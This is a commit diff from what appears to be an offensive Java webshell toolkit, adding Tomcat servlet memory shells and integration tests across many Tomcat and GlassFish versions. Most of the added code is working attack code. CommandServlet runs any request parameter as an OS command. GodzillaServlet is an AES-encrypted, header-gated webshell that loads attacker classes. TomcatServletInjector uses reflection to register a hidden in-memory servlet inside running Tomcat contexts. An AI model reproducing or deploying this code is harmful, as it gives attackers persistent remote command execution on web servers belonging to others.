feat: add tomcat servlet shell (#2) (#3)

* feat: support tomcat servlet shell

* test: glassfish 3 and 4 not work

* ci: update badge

---------

Co-authored-by: ReaJason <[email protected]>
This commit is contained in:
ReaJason
2024-12-15 16:02:22 +08:00
committed by GitHub
co-authored by ReaJason
parent 58045d0bb3
commit 0972d714d7
16 changed files with 531 additions and 13 deletions
+1 -1
View File
@@ -1 +1 @@
{"branches": 67.32673267326733, "coverage": 88.08545603944124}
{"branches": 67.32673267326733, "coverage": 88.16326530612245}
+1 -1
View File
@@ -1 +1 @@
{"color": "#a4a61d", "label": "coverage", "message": "88%", "schemaVersion": 1}
{"color": "#a4a61d", "label": "coverage", "message": "88.1%", "schemaVersion": 1}
@@ -2,15 +2,12 @@ package com.reajason.javaweb.memsell.tomcat;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.tomcat.command.CommandFilter;
import com.reajason.javaweb.memsell.tomcat.command.CommandListener;
import com.reajason.javaweb.memsell.tomcat.command.CommandValve;
import com.reajason.javaweb.memsell.tomcat.command.*;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaServlet;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
import com.reajason.javaweb.memsell.tomcat.injector.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
@@ -37,6 +34,8 @@ public class TomcatShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class),
JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class),
FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
@@ -49,6 +48,8 @@ public class TomcatShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class),
JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class),
FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
@@ -0,0 +1,40 @@
package com.reajason.javaweb.memsell.tomcat.command;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2024/12/15
*/
public class CommandServlet extends HttpServlet {
public String paramName = "{{paramName}}";
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
} catch (Exception ignored) {
}
}
}
@@ -0,0 +1,139 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/12/15
*/
public class GodzillaServlet extends ClassLoader implements Servlet {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaServlet(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class<?>) session.getAttribute("payload")).newInstance();
} catch (InstantiationException | IllegalAccessException e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
}
} catch (Exception ignored) {
}
}
@Override
public String getServletInfo() {
return "";
}
@Override
public void destroy() {
}
public GodzillaServlet() {
}
public GodzillaServlet(ClassLoader parent) {
super(parent);
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
}
@@ -0,0 +1,301 @@
package com.reajason.javaweb.memsell.tomcat.injector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.*;
import java.util.*;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/15
*/
public class TomcatServletInjector {
static {
new TomcatServletInjector();
}
public TomcatServletInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object servlet = getServlet(context);
if (servlet == null) {
continue;
}
addServlet(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
}
}
@SuppressWarnings("all")
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
@SuppressWarnings("all")
static Object getFV(Object obj, String fieldName) throws Exception {
try {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
return null;
}
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getF(obj, fieldName);
field.set(obj, value);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
@SuppressWarnings("all")
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object context = null;
try {
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}
private Object getServlet(Object context) {
Object servlet = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
servlet = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
servlet = clazz.newInstance();
} catch (Throwable ee) {
ee.printStackTrace();
}
}
return servlet;
}
@SuppressWarnings("all")
public void addServlet(Object context, Object servlet) throws Exception {
if (isInjected(context)) {
System.out.println("servlet already injected");
return;
}
try {
Class<?> containerClass = null;
try {
containerClass = Class.forName("org.apache.catalina.Container");
} catch (ClassNotFoundException var12) {
containerClass = Class.forName("org.apache.catalina.Container", true, context.getClass().getClassLoader());
}
Object wrapper = invokeMethod(context, "createWrapper");
invokeMethod(wrapper, "setName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(wrapper, "setLoadOnStartup", new Class[]{Integer.TYPE}, new Object[]{1});
setFieldValue(wrapper, "instance", servlet);
invokeMethod(wrapper, "setServletClass", new Class[]{String.class}, new Object[]{this.getClassName()});
invokeMethod(context, "addChild", new Class[]{containerClass}, new Object[]{wrapper});
try {
invokeMethod(context, "addServletMapping", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), getClassName()});
} catch (NoSuchMethodException var11) {
invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false});
}
support56Inject(context, wrapper);
System.out.println("servlet inject success");
} catch (Exception e) {
e.printStackTrace();
}
}
@SuppressWarnings("all")
public boolean isInjected(Object context) throws Exception {
Map<String, String> servletMappings = (Map<String, String>) getFV(context, "servletMappings");
Collection<String> values = servletMappings.values();
for (String name : values) {
System.out.println(name);
if (name.equals(getClassName())) {
return true;
}
}
return false;
}
private void support56Inject(Object context, Object wrapper) throws Exception {
Class<?> serverInfo = Class.forName("org.apache.catalina.util.ServerInfo", false, context.getClass().getClassLoader());
String number = (String) invokeMethod(serverInfo, "getServerNumber");
if (!number.startsWith("5") && !number.startsWith("6")) {
return;
}
Object connectors = getFV(getFV(getFV(getFV(context, "parent"), "parent"), "service"), "connectors");
int connectorsLength = Array.getLength(connectors);
for (int i = 0; i < connectorsLength; ++i) {
Object connector = Array.get(connectors, i);
String protocolHandlerClassName = (String) getFV(connector, "protocolHandlerClassName");
if (!protocolHandlerClassName.contains("Http")) {
continue;
}
Object contexts = getFV(getFV(Array.get(getFV(getFV(connector, "mapper"), "hosts"), 0), "contextList"), "contexts");
int contextsLength = Array.getLength(contexts);
for (int j = 0; j < contextsLength; ++j) {
Object o = Array.get(contexts, j);
if (getFV(o, "object") != context) {
continue;
}
Class<?> mapperClazz = Class.forName("org.apache.tomcat.util.http.mapper.Mapper", false, context.getClass().getClassLoader());
Class<?> wrapperClazz = Class.forName("org.apache.tomcat.util.http.mapper.Mapper$Wrapper", false, context.getClass().getClassLoader());
Constructor<?> declaredConstructor = wrapperClazz.getDeclaredConstructors()[0];
declaredConstructor.setAccessible(true);
Object newWrapper = declaredConstructor.newInstance();
setFieldValue(newWrapper, "object", wrapper);
setFieldValue(newWrapper, "jspWildCard", false);
setFieldValue(newWrapper, "name", getUrlPattern());
Object exactWrappers = getFV(o, "exactWrappers");
int length = Array.getLength(exactWrappers);
Object newWrappers = Array.newInstance(wrapperClazz, length + 1);
Class<?> mapElementClass = Class.forName("org.apache.tomcat.util.http.mapper.Mapper$MapElement", false, context.getClass().getClassLoader());
Class<?> mapElementArrayClass = Array.newInstance(mapElementClass, 0).getClass();
invokeMethod(mapperClazz, "insertMap", new Class[]{mapElementArrayClass, mapElementArrayClass, mapElementClass}, new Object[]{exactWrappers, newWrappers, newWrapper});
setFieldValue(o, "exactWrappers", newWrappers);
}
}
}
}
@@ -14,7 +14,14 @@ import java.util.Base64;
@Slf4j
public class ShellAssertionTool {
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
String shellUrl = url + "/test";
InjectorConfig injectorConfig = new InjectorConfig();
if (shellType.endsWith(Constants.SERVLET)) {
String urlPattern = "/" + shellTool + shellType + packer.name();
shellUrl = url + urlPattern;
injectorConfig.setUrlPattern(urlPattern);
}
ShellConfig shellConfig = ShellConfig.builder()
.server(server)
@@ -24,7 +31,7 @@ public class ShellAssertionTool {
.debug(true)
.build();
String shellUrl = url + "/test";
switch (shellTool) {
case Godzilla:
String pass = "pass";
@@ -17,6 +17,7 @@ import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
@@ -38,7 +39,7 @@ public class GlassFish3ContainerTest {
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war")
.waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1))
.waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(2)))
.withExposedPorts(8080);
@BeforeAll
@@ -17,6 +17,7 @@ import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
@@ -38,7 +39,7 @@ public class GlassFish4ContainerTest {
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war")
.waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1))
.waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(2)))
.withExposedPorts(8080);
@BeforeAll
@@ -41,6 +41,10 @@ public class Tomcat10ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -42,6 +42,8 @@ public class Tomcat11ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
@@ -41,7 +41,10 @@ public class Tomcat5ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
// arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
@@ -58,6 +61,7 @@ public class Tomcat5ContainerTest {
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@@ -41,7 +41,10 @@ public class Tomcat6ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
// arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
@@ -41,6 +41,10 @@ public class Tomcat7ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -41,6 +41,12 @@ public class Tomcat8ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
@@ -41,6 +41,10 @@ public class Tomcat9ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -59,6 +63,7 @@ public class Tomcat9ContainerTest {
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}